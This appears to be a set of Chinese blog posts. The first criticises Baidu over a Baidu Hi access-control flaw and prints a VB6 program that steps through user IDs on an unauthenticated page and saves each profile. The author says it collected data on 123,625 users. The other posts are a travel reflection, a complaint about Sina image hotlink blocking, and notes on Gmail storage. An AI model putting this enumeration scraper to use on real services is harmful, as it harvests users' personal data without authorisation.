我的观点:谈谈Baidu,关于IM,关于漏洞,关于C2C

我的观点:谈谈Baidu,关于IM,关于漏洞,关于C2C

头一次听说这个和Baidu Hi有关的漏洞是在cnBeta,文章现在已经被和谐了。 Google上还有一些结果,但是也将陆陆续续被和谐。 不过不要紧,我送上的截图中就能比较出”出事时”和”出事后”的情况。 Baidu的动作是”很快”的,今天一早已经修改了网站而且完成”危机公关”了。 我得知的时候是昨晚,于是闲着无聊写了下面的程序: Option Explicit Dim BD_UID As Long Private Sub Command1_Click() BD_UID = 1 Web_Nav BD_UID End Sub Private Sub Web_Nav(BD_UID) Label.Caption = BD_UID Web_Core.Navigate “http://im.baidu.com/invite/groupauth.php?uid=” & BD_UID End Sub Private Sub Web_Core_DocumentComplete(ByVal pDisp As Object, URL As Variant) If BD_UID = 0 Then Exit Sub Text_Box = Web_Core.Document.body.innertext Open App.Path & “baidu” & BD_UID & “.txt” For Output As #1 Print #1, Text_Box.Text Close #1 If BD_UID = 70020000 Then Exit Sub BD_UID = BD_UID + 1 Web_Nav (BD_UID) End Sub 这个程序的结果是怎样呢? 结果是让我的电脑通过一个晚上的努力,下载了Baidu上 123625 个用户的资料。 数据其实也”并不敏感”,就是用户ID,用户名,好友数等等”而已”。 但是不要忘记,这是一个缺乏安全感的互联网时代。 用户ID,已经可以做很多事情了。 123625 个用户ID意味着什么? 呵呵,对我来说意味着Baidu没有资格从事所谓的C2C了。 你放心把自己的银行卡和其他敏感数据交给这样一间犯”低级错误”的公司吗? 至少我不放心。 最后说说百度修改后的页面: 我觉得百度仿佛就没有利害一点的PHP程序员了,页面修改后依然觉得很赤裸,更别谈专业了。 真不明白加个权限认证才能访问这个页面原来也这么难呀。 牛B的百度,一错再错了,Beta也不是可以不负责任的。 PS:Baidu上的用户请放心,你们的资料放在我这儿”绝对安全”,本人承诺不会偷看,也不会胡乱使用里面的资料做坏事。

行走.

终于踏上回家考公务员的路. 现在的我坐在熟悉而陌生的车厢里,我习惯拿出ipod,按下播放键. 放眼四周,大多数的人的耳朵也都同样被不同的设备支配着. 随身听,手机,游戏机,电子辞典等等,仿佛一切的设备都已经支持mp3了. 不知什么时候起,原本就缺乏沟通的新新人类的生活被各种设备所冲斥. 通电才能活的人们,仿佛不自觉间就注定了麻木和自我. 很多时候我们会在科技和设备间迷失. 在那没有体温却声称智慧的机器间寻找温存,那正是这时代的无奈. 再完美的工业设计也无法掩饰我们自欺欺人的事实:那只有按键和屏幕的东西比不上一个温暖的表情和笑弯的眉眼.再大容量的设备也装不下我们无穷扩张的空虚. 在现代人的车厢里头,我似乎一无所有,唯有冰冷的设备带着并不冰冷的音乐.

我的观点:WEB2.0,需要分享

我的观点:WEB2.0,需要分享

有个问题一直很困扰我,就是Sina等BSP的图片防盗链特性。 我也并不是有意去盗链别人的文章,问题是出在我的RSS阅读器上。 经常碰到所订阅的Blog如果搭建在Sina等一些国内的BSP上,就会出现Sina等一些BSP的防盗链提示以致图片根本看不到。 如果说防盗链,减轻我方服务器的负担,同时保证我方Blog作者的文章版权,那是很不错的。 但是请问: *Sina等,你们的技术到家了吗? *Sina等,你们不能分辨RSS阅读器和其他的转载行为吗? *Sina等,你们的RSS供稿是闹着玩的吗? ***Sina等,你们懂Web吗? Web 2.0 是需要分享的,通过RSS、ATOM等国际标准的方式聚合Blog的内容,整合新的应用,才符合Web 2.0的精神。 Web 2.0 的一个特色就是公民媒体的兴起,Blog、Podcast等形式的公民媒体将占据互联网越来越大的信息比例。 然而越来越多的信息面临一个信息过载的问题,我们需要用Feed的形式管理我们的资讯,通过Feed供稿的特性关注我们所关注的信息。 Sina的Bog聚集了很多的名博,很多人选择在Sina写文章,可以说明Sina作为BSP有其过人之处。 这里先不说Blog平台本身的优劣,Sina Blog就信息价值的层面来说,不容忽视。 于是我更加不能理解为什么Sina等BSP需要启用这样愚蠢而不符合Web 2.0精神的举措。 试想如果Blog作者知道大部分的RSS阅读器用户并不能完整看到他们的文章?Blog作者会钟情于这样的BSP吗? Web 2.0 需要分享,信不信由你。 PS: *这个现象在国内的BSP中很普遍,我在此仅以Sina为例说明问题,并没有针对Sina进行丑化的意图。 *我的观点:综合各个方面看,国内的BSP比较理想的也就BlogBus一家,希望他们继续加油。

资讯分享:Gmail的成长速度

资讯分享:Gmail的成长速度

最近看到一文,来自国外的Google非官方资讯Blog,同时参考了来自http://punk.tw/2007/10/15/362.html的看法。 以下谈谈Gmail的成长速度,这是我们Google Fans最为关心的问题。 Google官方对于Gmail的其中一点描述是:你永远不用删除你的邮件。 至于是否能做到,我觉得很难说,因为听说已经有网友用光Gmail的容量的。 下文很简单,我懒得翻译了,主要说说Lawrence提出的三点: *1、去年10月23日,Gmail 容量达到 4321 MB; *2、今年1月4日,Gmail 容量达到 6283 MB; *3、今年1月4日后,Gmail 调整了速度,以每天 3.3 MB 的容量增长。 原文如下(http://googlesystem.blogspot.com/2007/10/gmails-storage-increases-dramatically.html)[已和谐,需”翻墙”看]: Gmail’s Storage Increases, 6 GB in January 2008 Gmail will increase the free storage gradually in the next days. On October 23, you’ll get 4321 MB of storage, then the growth will slow down until January 4, when you’ll have 6283 MB of storage. From January 4, you’ll receive 3.3 MB every day, that’s 10 times bigger than the current rate of growth. Another good news is that Google Apps mail accounts will have the same quota as standard Gmail accounts, while Google Apps Premier Edition will have 25 GB mail accounts. Previously, Google Apps accounts had 2 GB of storage, while the business edition offered 10 GB per account. Gmail didn’t abandon the paid storage option, but you’ll get around 50% more storage for the same price: 10 GB for $20/year, 40 GB for $75/year, 150 GB for $250/year and 400 GB for $500/year. The paid storage will probably become more attractive when Google adds more services, like Google Docs, JotSpot or GDrive. “In April 2005, we started increasing Gmail storage as part of our “Infinity+1” storage plan. At that time, we realized we’d never reach infinity, but we promised to keep giving Gmail users more space as we were able,” explains the Gmail Blog. Meanwhile, Yahoo and Microsoft also increased the storage (Yahoo even claims to offer “infinite” storage) and Gmail became the top webmail service with the least amount of free storage. 还有别文提到 Gmail 将在 2038 年达到 42GB (http://mashable.com/2007/10/12/gmail-42gb-free-storage-by-2038/)。 那时候我应该还在世上,就拭目以待吧。 上面截图其中一张是我的Gmail使用情况,也都快接近一半了。 和那些声称无限容量的邮箱比起来,我还是更加喜欢Gmail的这种方式,毕竟会长大的邮箱,听上去已经很浪漫。 PS:成文时刻Gmail容量为:6561 MB